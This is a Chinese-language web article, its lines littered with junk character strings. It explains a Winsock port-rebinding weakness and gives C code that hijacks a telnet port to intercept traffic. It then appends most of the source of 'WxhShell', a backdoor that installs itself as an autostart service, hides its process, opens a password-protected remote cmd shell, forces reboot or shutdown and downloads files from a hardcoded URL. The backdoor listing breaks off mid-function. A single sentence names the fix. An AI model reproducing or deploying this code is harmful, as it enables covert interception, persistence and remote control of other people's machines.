在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
MgHyKn'rL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:KgLjhj|) zVxiCyU saddr.sin_family = AF_INET;
X^_,`H@ 8czo#& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
k:7UU4M
5 j2qDRI bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9`dQ7z.8t \VHi 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.{7?Y;_( oVoTnGNM6 这意味着什么?意味着可以进行如下的攻击:
uz>s2I}B m{pL<
g^M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(oq(-Wv GuM-H$, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"uGJ\ %E1~I\n:F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=!U{vT .w$v<y6C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
w#Nn(!VR ~Ufcy{x# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
&_" 3~:N8k &HFMF)NA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
#%k5s?cP@ t=XiSj\n 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
l3-KswU Fj 1/B0acS #include
'(2G qX! #include
,>{4*PM( #include
X?>S24I"9 #include
^%go\ C ; DWORD WINAPI ClientThread(LPVOID lpParam);
wjS3ItB int main()
8Y5*
1E* {
rRT9)wDa WORD wVersionRequested;
b\=0[kBQw DWORD ret;
,"h$!k"$g WSADATA wsaData;
`*}#Bks! BOOL val;
CFul_qZ/e SOCKADDR_IN saddr;
htM5Nm[g SOCKADDR_IN scaddr;
>GT0x int err;
0R_ZP12 SOCKET s;
lG\lu'<C SOCKET sc;
WgE~H)_% int caddsize;
VrF]X#\) HANDLE mt;
2Q9s?C DWORD tid;
He#+zE; wVersionRequested = MAKEWORD( 2, 2 );
_<t3~{qUT err = WSAStartup( wVersionRequested, &wsaData );
JFYeOmR+l if ( err != 0 ) {
|8+<qgQ printf("error!WSAStartup failed!\n");
@D0Ut9) return -1;
iY;)R|6 }
ucoBeNsHx saddr.sin_family = AF_INET;
6K`frt 7acAU{Rr //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,wX/cUyZ
.WyI.Y1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
E8%O+x} saddr.sin_port = htons(23);
_$cQAH0 E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1-w1k^e {
#7Qn\C2 printf("error!socket failed!\n");
]t(g7lc}U return -1;
4RTEXoXs }
YnJ=&21 val = TRUE;
} k5pfz //SO_REUSEADDR选项就是可以实现端口重绑定的
_;'}P2&Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`awk@ {
Lg Bs<2 printf("error!setsockopt failed!\n");
dR$P-V\y`% return -1;
vja^O
}
CZ]+B8Pl(x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/3Se*"u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+pf 7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B"+Ygvxb Nkv2?o>l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
A\4Gq {
@&,r|- ret=GetLastError();
VaX>tUW printf("error!bind failed!\n");
\9ap$ return -1;
zlSwKd( }
60`y= !?f listen(s,2);
?5/Sa while(1)
+d#ZSNu/ {
B623B HwS caddsize = sizeof(scaddr);
zEks4yd //接受连接请求
kP[ Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
F}sfk}rp if(sc!=INVALID_SOCKET)
/]+t$K\cBq {
:j9;P7&"? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g00XZ0@ if(mt==NULL)
JNMZn/ {
{a(YV\^y|H printf("Thread Creat Failed!\n");
0|4XV{\qT$ break;
(_-zm)F7 }
Cu/w><h) }
T_\GvSOI CloseHandle(mt);
xY_/CR[, }
Qz/=+A/4 closesocket(s);
1lMU('r% WSACleanup();
noL<pkks~R return 0;
W6wgX0H }
U)c,ZxE DWORD WINAPI ClientThread(LPVOID lpParam)
MNJ$/l)h {
M+nz~,![ SOCKET ss = (SOCKET)lpParam;
\idg[&}l} SOCKET sc;
tWc!!Hf2j unsigned char buf[4096];
(c[|k SOCKADDR_IN saddr;
L
TO1LAac long num;
r!#a. DWORD val;
k6*2=
xK~ DWORD ret;
ux-Fvwoh //如果是隐藏端口应用的话,可以在此处加一些判断
.;$/nz6vk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.O lq_wuH saddr.sin_family = AF_INET;
)8LCmvQ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
srC'!I=s>8 saddr.sin_port = htons(23);
jQ7RH/?_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8 Z#)Xb4 {
#<!oA1MH4 printf("error!socket failed!\n");
1Rwk}wL return -1;
bh_i*DJ] }
nc l-VN val = 100;
)7J@A%u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_=,[5" {
3:);vh! ret = GetLastError();
9~>;sjJk return -1;
)!M:=}." }
}vcC4 =t/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Yo:>m*31 {
rEZa%)XJ ret = GetLastError();
L6U[H#3( return -1;
],' n!:> }
mDj:w#q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w{Dk,9>w) {
|QxDjL<&t4 printf("error!socket connect failed!\n");
}R.cqk\qa^ closesocket(sc);
Ku&0bXP closesocket(ss);
SRj|XCd return -1;
TX8,+s+ }
"1`c^ while(1)
KWhw@y-5j@ {
~M43#E[oOF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ks'25tv}F //如果是嗅探内容的话,可以再此处进行内容分析和记录
I[&z#foN=w //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
iVnrv`k, num = recv(ss,buf,4096,0);
c+-L>dsss if(num>0)
WvNX%se]3 send(sc,buf,num,0);
QbpRSdxy`$ else if(num==0)
`EV[uj&1S break;
ae#7*B num = recv(sc,buf,4096,0);
{f)",# if(num>0)
{P-KU RQ send(ss,buf,num,0);
blxH`O! else if(num==0)
-Z]?v3
9 break;
sa*]q~a }
/koNcpJ closesocket(ss);
!L-.bve! closesocket(sc);
lty`7(\ return 0 ;
f{5)yZ`J* }
N.BD]_C vZ$uD,@;. ugucq},[ ==========================================================
)Q(tryiSi Uj6R?E{Jt 下边附上一个代码,,WXhSHELL
lXL\e(ow E}\^GNT ==========================================================
QT\S>} Q_LPLmM #include "stdafx.h"
IN`05 Q hGD7/qTN #include <stdio.h>
':F{st>&H #include <string.h>
g"xLS}Al #include <windows.h>
4d9iAN #include <winsock2.h>
-\AB!#fh #include <winsvc.h>
S1 %{/w #include <urlmon.h>
0qZ{:}`3 t'0r4&\ #pragma comment (lib, "Ws2_32.lib")
j[) i>Qw #pragma comment (lib, "urlmon.lib")
z`5+BL,|ND I+8m1* #define MAX_USER 100 // 最大客户端连接数
xzIs,i}U #define BUF_SOCK 200 // sock buffer
F!j@b!J8 #define KEY_BUFF 255 // 输入 buffer
op&,& yIqsZJj #define REBOOT 0 // 重启
LK/gG6n5M0 #define SHUTDOWN 1 // 关机
tSE6m - o<@2zhuhrx #define DEF_PORT 5000 // 监听端口
6+m) %|oY8;0|A> #define REG_LEN 16 // 注册表键长度
)^g}'V=vIr #define SVC_LEN 80 // NT服务名长度
O)&xT2'J Yy>%dL // 从dll定义API
\f0I:%- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
duV|'ntr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~>xn9vb= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7Dom[f typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
C6CX{IA] Rm)vY}v // wxhshell配置信息
:#I8Cf struct WSCFG {
,LWM}L int ws_port; // 监听端口
QRw306 char ws_passstr[REG_LEN]; // 口令
E9%xSMS8@ int ws_autoins; // 安装标记, 1=yes 0=no
{Am\%v\ char ws_regname[REG_LEN]; // 注册表键名
8p>%}LX/ char ws_svcname[REG_LEN]; // 服务名
htlsU*x char ws_svcdisp[SVC_LEN]; // 服务显示名
a%Cq?HZ7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
/ D#vs9S char ws_passmsg[SVC_LEN]; // 密码输入提示信息
241YJ int ws_downexe; // 下载执行标记, 1=yes 0=no
@l>\vs< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
M+)%gnq`u char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QH~/UnV vy@;zrs };
RAXqRP,iw
6bo,x // default Wxhshell configuration
pRUN[[L struct WSCFG wscfg={DEF_PORT,
c{rX7+bN "xuhuanlingzhe",
m!N_TOl-^ 1,
H,KU!1p "Wxhshell",
9"_qa q "Wxhshell",
= J).(E89 "WxhShell Service",
tG{e( "Wrsky Windows CmdShell Service",
"p2 $R*ie "Please Input Your Password: ",
v#YO3nD 1,
+*!oZKm. "
http://www.wrsky.com/wxhshell.exe",
H&3VPag "Wxhshell.exe"
k[y{&f, };
6~;fj+S a5L#c= // 消息定义模块
wToz{!n char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J
Y %B: char *msg_ws_prompt="\n\r? for help\n\r#>";
(3{'GX2c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4UC/pGZY char *msg_ws_ext="\n\rExit.";
#e+%;5\ char *msg_ws_end="\n\rQuit.";
u)R>ozER char *msg_ws_boot="\n\rReboot...";
7+#^:;19` char *msg_ws_poff="\n\rShutdown...";
@Eqc&v!O char *msg_ws_down="\n\rSave to ";
g%1!YvS3v 91mXv Q:u char *msg_ws_err="\n\rErr!";
#x)G2T'? char *msg_ws_ok="\n\rOK!";
V{ra,a* H<X4R char ExeFile[MAX_PATH];
P}DrUND int nUser = 0;
L1P]T4a@) HANDLE handles[MAX_USER];
_
CXKJ]m4 int OsIsNt;
~W%A8`9 A<y3Tc?Q SERVICE_STATUS serviceStatus;
J U}XSb SERVICE_STATUS_HANDLE hServiceStatusHandle;
W4|1wd}.t WI[6l6 // 函数声明
92+({ fgW int Install(void);
%jqBYn0q' int Uninstall(void);
E
Jq=MP int DownloadFile(char *sURL, SOCKET wsh);
"MM7qV int Boot(int flag);
mK@\6GOMYP void HideProc(void);
5(u7b int GetOsVer(void);
q6\z]8) int Wxhshell(SOCKET wsl);
'[`.&-; void TalkWithClient(void *cs);
+CX2W(' int CmdShell(SOCKET sock);
F@"Xd9q? int StartFromService(void);
SO]x^+[ int StartWxhshell(LPSTR lpCmdLine);
jWUN~#p! XRJ<1w: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
k[A=:H1" VOID WINAPI NTServiceHandler( DWORD fdwControl );
)1~4Tl,S kH-1l>": // 数据结构和表定义
j3Cp o
x SERVICE_TABLE_ENTRY DispatchTable[] =
]$y"|xqR {
E
I)Pfx"0 {wscfg.ws_svcname, NTServiceMain},
3`SLMPI {NULL, NULL}
+qD4`aI };
o
PR^Z
pt }I#;~|v~< // 自我安装
<LzN/I aJ int Install(void)
#wx0xQ~,J {
Q(oWaG char svExeFile[MAX_PATH];
[-s0'z HKEY key;
RTH dL strcpy(svExeFile,ExeFile);
[^1;8Tbk $M$oNOT}Y // 如果是win9x系统,修改注册表设为自启动
T7Lk4cU if(!OsIsNt) {
9 n|H%AC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\P&'4y~PL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EG7ki0 RegCloseKey(key);
y 9/27yWB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k-b_
<Tbo| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q<,?:g$k RegCloseKey(key);
Fr/8q:m& return 0;
`@")R- }
s-*8= }
=QRLKo#_ }
H]}Iw5Z else {
8
6?D )
;-AT^ // 如果是NT以上系统,安装为系统服务
xyBe*,u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qNC.|R if (schSCManager!=0)
&nZ=w#_ {
F 3,hx SC_HANDLE schService = CreateService
{LR?#. (
L
a0H schSCManager,
goIn7ei92 wscfg.ws_svcname,
]*sXISg1 wscfg.ws_svcdisp,
]1abz: SERVICE_ALL_ACCESS,
31Zl"-<#- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+%UXI$v SERVICE_AUTO_START,
-t:yy:4 SERVICE_ERROR_NORMAL,
JAmv 7GL'6 svExeFile,
7{."Y@ NULL,
>6r&VZu*n NULL,
W*`2lf NULL,
P[#V{%f*5 NULL,
]Ny. gu NULL
x4.-7%VV% );
wEKm3mY; if (schService!=0)
qJ5Y}/r {
Uu
}ai."iB CloseServiceHandle(schService);
~WR6rc CloseServiceHandle(schSCManager);
afGb}8
Q9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xJ^Gtq Um strcat(svExeFile,wscfg.ws_svcname);
So bK<6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Fg5>CppH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Kdik7jL/J RegCloseKey(key);
kpxd+w return 0;
!Lk|eGd* }
Ks8S^77 }
{hZ_f3o CloseServiceHandle(schSCManager);
FyZw='D }
j9x}D;?n }
Maf!,/U4 pYceMZ$ return 1;
v(h
}
E"pq ZP = _d %H;<_ // 自我卸载
lwQI
9U[O2 int Uninstall(void)
nCGLuZn {
4SY]Q[ HKEY key;
,K3)f.ArYc G/N'8Q) if(!OsIsNt) {
i7cMe8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RUYwDtC RegDeleteValue(key,wscfg.ws_regname);
.OX.z~":y RegCloseKey(key);
=NH:/j^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>[O
@u4 RegDeleteValue(key,wscfg.ws_regname);
sW3-JA] RegCloseKey(key);
7=Ew[MOmM return 0;
S=eY`,'#R }
{p
yo }
$@}6P,mg }
#f\U3p else {
vZhN%
DfY oPo<F5M]d% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
x)THeH@ if (schSCManager!=0)
o_bj@X {
/DQoM@X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9_KUUA if (schService!=0)
w# ,:L) {
>9uDY+70I3 if(DeleteService(schService)!=0) {
0rsdDME[ CloseServiceHandle(schService);
FL/@e$AK CloseServiceHandle(schSCManager);
7W5FHZd' return 0;
T&w3IKb|} }
k8 ,.~HkU CloseServiceHandle(schService);
d]0fgwwGC }
az?B'|VX CloseServiceHandle(schSCManager);
^r}^- }
~ NKw}6 }
.v/s9'lB ~
9^1m return 1;
q 1Rk'k4+ }
]wER&/v" 8QXxRD;0: // 从指定url下载文件
\m*?5]m; int DownloadFile(char *sURL, SOCKET wsh)
P7 H-Dw {
jxZR%D HRESULT hr;
b@/z^k{% char seps[]= "/";
?VCb@&* char *token;
2oGl"3/p char *file;
4F??9o8 } char myURL[MAX_PATH];
)l\BZndf char myFILE[MAX_PATH];
H}dsd=yO do+HPnfDzU strcpy(myURL,sURL);
tceQn
^|< token=strtok(myURL,seps);
5m=3{lBi while(token!=NULL)
*&% kkbA {
8ooj) file=token;
9"I/jd0B token=strtok(NULL,seps);
TStu)6%` }
TsfOod P%ev8]2 GetCurrentDirectory(MAX_PATH,myFILE);
#J\
2/~ strcat(myFILE, "\\");
++5W_Ooep strcat(myFILE, file);
)o
SFHf send(wsh,myFILE,strlen(myFILE),0);
Me`jh8(K\6 send(wsh,"...",3,0);
&t5pJ`$(Cy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O<)"kj 7 if(hr==S_OK)
Z>wg
o@z% return 0;
<6Y o%xt else
ppM d return 1;
fY}e.lD .%M=dL> }
% )i?\(/ p*-o33Ve // 系统电源模块
T,TKt% int Boot(int flag)
_$9<N5F.,o {
13'tsM& HANDLE hToken;
kbI:}b7H TOKEN_PRIVILEGES tkp;
n-#?6`>a gk>A if(OsIsNt) {
ALiA+k N OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"F7g8vu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(9*=d_= tkp.PrivilegeCount = 1;
AVZ -g/<
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_`+
!,kG[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:05>~bn>pC if(flag==REBOOT) {
k10dkBoEX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s4@AK48 return 0;
:\4?{,@_h }
7 1z$a else {
zEl@jK,{$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(=j]fnH? return 0;
8;5 UO,`T }
ullq}} }
";J1$a else {
7;dV]N if(flag==REBOOT) {
{[m %1O1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
94 H\,}i8 return 0;
JY"<b6C^ }
#c5G"^)z else {
NFDi2L>Ba if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Y`uL4)hR5 return 0;
;4z6="<Y }
&\F`M|c }
g|9'Lk R.Ao%VT return 1;
8*V3g_z }
Co4QWyt: _ncqd,&z // win9x进程隐藏模块
'&I.w p`^ void HideProc(void)
xm6=l".%z {
Sl/[9-a) d(jd{L4d HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
w-Y-;*S if ( hKernel != NULL )
ZL:nohB {
+Tf ,2?O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:tu6'X\k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
63#Sf$p{v FreeLibrary(hKernel);
t,]r% }
RCsQLKqF Hq?-e?Nc return;
:D-My28' }
nr
Jl>H
7M=LyrO // 获取操作系统版本
/[#<@o int GetOsVer(void)
7{
(t_N> {
,P3nZ OSVERSIONINFO winfo;
EEEYNu/4/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^%@(>:)0 GetVersionEx(&winfo);
ZxlQyr`~a( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f]tc$`vb return 1;
qt=gz6! else
|2,u!{ return 0;
4GH?$p|LX }
^w5`YI4< V:4]]z L} // 客户端句柄模块
th}Q`vg0 int Wxhshell(SOCKET wsl)
Y,RBTH {
^G.PdX$M SOCKET wsh;
2j9Mr struct sockaddr_in client;
'2vZ%C$ DWORD myID;
ypM0}pdvTp x6d+`4 while(nUser<MAX_USER)
{9q~bt {
ykrb/j|rK int nSize=sizeof(client);
%>_ZUu3M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.S>:-j'u if(wsh==INVALID_SOCKET) return 1;
AifnC4 I'{-T=R-q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\Bg;}\8X if(handles[nUser]==0)
cs `T7?> closesocket(wsh);
f7c%Z:C#Y else
cY
^>` nUser++;
paF$o6\ }
d[;S n:B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
w[~O@:`]<o J+r\EN^9 return 0;
3qR%Mf' }
;HtHN
K(o ?xu5/r< // 关闭 socket
rH"& void CloseIt(SOCKET wsh)
$TyV<
G {
S
'S|k7Lp closesocket(wsh);
?B3
nUser--;
`?+lM ExitThread(0);
n@<+D`[.V }
I?}YS-2 0"]N9N;/ // 客户端请求句柄
8XZS BR(Z void TalkWithClient(void *cs)
PzbLbH8A {
*^e06xc: ^"WrE(3 SOCKET wsh=(SOCKET)cs;
d%FD=wm char pwd[SVC_LEN];
|dcRDOTe char cmd[KEY_BUFF];
r9G}[#DO char chr[1];
xPoI+, int i,j;
$Zf hQ5bat Z+!._uA while (nUser < MAX_USER) {
%;$zR} 8R<2I1xn2 if(wscfg.ws_passstr) {
;L (dmx? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MwMv[];I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^}vL ZA //ZeroMemory(pwd,KEY_BUFF);
T{-<G13 i=0;
kXK D>."E* while(i<SVC_LEN) {
qT7E"|.$ [(Ss^?AJW // 设置超时
W'WZ@!! fd_set FdRead;
oKjQ?
4 struct timeval TimeOut;
\6~(#y FD_ZERO(&FdRead);
~ HFDX@m* FD_SET(wsh,&FdRead);
'au7rX( TimeOut.tv_sec=8;
N) D;)ZH TimeOut.tv_usec=0;
n\Y{?x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r!A1Sfo4P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
P/uk]5H^
OIPJN8V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]w ^9qS pwd
=chr[0]; F)rU*i7
if(chr[0]==0xd || chr[0]==0xa) { Nr 5h%<`I
pwd=0; 3.,O7 k7y
break; S?TyC";!
} (|H1zO
i++; Qz6Ry\u
} Ni"n_Yun
Dg(882#_
// 如果是非法用户,关闭 socket =w&JDj
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J;"66ue(d
} aF2vw{wT}
T v2d?y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &cy@Be}|T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0RmQfD>
t:|knZq
while(1) { P(B:tg
KtH-QQDluj
ZeroMemory(cmd,KEY_BUFF); nHiE$Y
$}kT)+K
// 自动支持客户端 telnet标准 Z#w@ /!"}T
j=0; :ZrE/3_S
while(j<KEY_BUFF) { 8~Avg6,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hI249gW9
cmd[j]=chr[0]; 2eNA#^T=
if(chr[0]==0xa || chr[0]==0xd) { ;.*n77Y
cmd[j]=0; DPIIE2X
break; .KH3.v/c|
} ?}<4LK]
j++; q=Cc2|Ve
} mFoE2?Y
+JQ/DNv
// 下载文件 Tp7*T8
if(strstr(cmd,"http://")) { 0Bbno9Yp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -U'3kaX5<
if(DownloadFile(cmd,wsh)) PU|
X+V>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L{XNOf3
else X'BFR]cm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <<a1a
} GZt+(q
else { Qe8F(k~k
%p? +r
switch(cmd[0]) { 9UF^h{X
%=C49(/K_
// 帮助 e6O +hC]:
case '?': { !yxb=>A
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k;aV4
0N9
break; ++b1VBP
} p%MH**A
// 安装 /"$A?}V
case 'i': { ?"23X Ke
if(Install()) +
Xc s<+b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VG,O+I'^z
else V)HX+D>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[E:=p
break; frsqnvm;+
} mBb;:-5
// 卸载 Yfro^}f
case 'r': { Q:U^):~
if(Uninstall()) UvR F\x%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Ja} N
else {[Bo"a>%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jS_fwuM
break; *CsRO
} bU3e*Er
// 显示 wxhshell 所在路径 (~}P.?C8
case 'p': { G:u-C<^'
char svExeFile[MAX_PATH]; AHg:`Wjv-
strcpy(svExeFile,"\n\r");
S xn#
strcat(svExeFile,ExeFile); 7bC1!x*qw
send(wsh,svExeFile,strlen(svExeFile),0); ?<_yW#x6
break; K
chp%
} ?ykQ]r6a<
// 重启 wOfx7D
case 'b': { 6xDYEvHS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hT
c
VMc
if(Boot(REBOOT)) ~3,>TV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .TI=3*`G
else { 8oAr<:.=
closesocket(wsh); $>Y2N5
ExitThread(0); l'Oz-p.@
} 2.xA' \M
break; nu'r`
} 1=R6||8ws
// 关机 U^AywE]
case 'd': { zk#NM"C+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~ 9F
rlj
if(Boot(SHUTDOWN)) |$hBYw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/U1
: 9
else { WAd5,RZ?
closesocket(wsh); G&eRhif
ExitThread(0); LIm{Y`XU
} <FaF67[Q
break; `a$c6^a
} . 5cL+G1k#
// 获取shell )sONfn
case 's': { uItzFX*
CmdShell(wsh); .mr&zq
closesocket(wsh); J(0E'o{ug
ExitThread(0); D9hV`fA
break; %MA o<,ha
} F_<n8U:Y
// 退出 df85g
case 'x': { 8[PD`*w
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3e)W_P*0?
CloseIt(wsh); t[dOWgHi
break; XBvJc'(s
} 8Uv2p{ <#
// 离开 #8cpZ]#
case 'q': { O_gr{L}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0@O:C::
closesocket(wsh); >g {w,
WSACleanup(); b8QQS#q)V
exit(1); 7?1[sPM
break; d*}dM"
} n8FmIoZ&`
} L6>;"]:f`
} a/@F?\A
Fl{@B*3@w
// 提示信息 jV}tjwq
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *6C ]CS
} E4CyW
} 4lVvs(W?
\sSt _|+
return; -@I+IKz
} 2aDjt{7P
` FJ2
?
// shell模块句柄 7I#<w[l>k
int CmdShell(SOCKET sock) aa-{,X"MF
{ MAv-`8@|
STARTUPINFO si; e$vvm bK.
ZeroMemory(&si,sizeof(si)); iJ-z&=dOe
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lR<1x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [|5gw3y
PROCESS_INFORMATION ProcessInfo; >'/KOK"
char cmdline[]="cmd"; oJ:\8>)9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .!oYIF*0zC
return 0; Xur{nk~?
} Y&![2o.Q
=%i~HDiy
// 自身启动模式 _l ,_NV&T
int StartFromService(void) VR'R7
{ GR%h3HO2&
typedef struct XCo3pB
Wq~
{ VZhHO
d
DWORD ExitStatus; 0gIJ&h6*f
DWORD PebBaseAddress; ?q*,,+'0
DWORD AffinityMask; PLV-De
